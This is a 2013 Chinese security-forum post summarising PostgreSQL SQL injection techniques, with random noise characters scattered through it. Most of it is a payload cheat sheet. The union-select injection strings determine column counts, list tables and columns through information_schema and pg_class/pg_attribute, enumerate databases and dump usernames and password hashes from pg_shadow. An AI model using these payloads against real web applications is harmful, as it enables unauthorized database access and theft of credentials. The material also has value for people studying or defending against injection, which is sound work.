找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2175|回复: 0
打印 上一主题 下一主题

postgreSQL注入总结

[复制链接]
抢楼 抢楼 本帖为抢楼帖,欢迎抢楼! 
跳转到指定楼层
楼主
发表于 2013-10-13 12:57:16 | 只看该作者 回帖奖励 |阅读模式
结合了MSSQL MySQL Oracle的一些特点' y4 d/ ]8 K" F9 |: o" V. {: }  ^

支持多语句执行,语句可以没有from

postgres用户是超级用户(创始人账户) 只有superuser有copy权限

注释: — , /**/
" [& |* D  S4 ~8 V& @连接符: %20 , + , /**/

内置函数:
$ q, i4 j+ {7 _$ r3 A9 {- Mcurrent_database() //当前数据库名  @2 ], D# v* {5 C. k2 [
session_user //会话用户
2 U$ v& g2 f3 p  U3 Acurrent_user //当前数据库用户6 U6 t# H% H& |4 q: G" Z
user //当前用户5 S! }( I) m5 @9 U; B# `! K
version() //数据库版本

Union注射:
9 W* ?6 X* l, H9 L5 Q* forder by n–2 P, P4 P8 s8 W! K! J4 S
and 1=2 union select null,null,null–0 d3 f: U8 y" c8 }9 @- G4 P; J
and 1=2 union select ‘beach’,null,null–) R7 [9 }: f- z$ e3 j/ h+ Q8 A0 }6 ?
and 1=2 union select (select version()),null,null–

获取表名,字段名(新版本利用information_schema):* z  O5 e2 \3 P4 z5 M3 R4 E( R" ^
group_concat(table_name)1 S& N* P. V2 n$ _/ b( T- q+ u
and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–
$ M& B- {8 K7 Q. `and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–
# m3 x) U) y+ j: i(老版本)
5 L3 n, a+ h* _" Y/ n3 m7 z9 }pg_class.oid对应pg_attribute.attrelid
0 j" _+ ~7 D, cpg_class.relname表名
) L3 F- s6 J; c* r# q7 ]! g% a8 G7 dpg_attribute.attname字段名

select relname from pg_class获取表名
, F7 b  f& y! |; t& Rselect oid from pg_class where 条件 获取参数
( |1 P1 E! H) v6 C4 M. w7 ?0 Fselect attname from pg_attribute where attrelid=’oid的值’ 获取字段名

实战:- x! f2 U* k' `6 g2 Y4 I
and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表
! }. y3 Y+ ^, q5 q6 f% @and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–% P' W+ k' X1 ?6 z
由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136

and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
* R3 c6 {$ w2 F, k$ D5 @======================================================================( O3 r  U' ^1 L, u
and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
( a# e$ B$ K9 N, J6 d! y  [, O/ }, `' N3 Dand 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表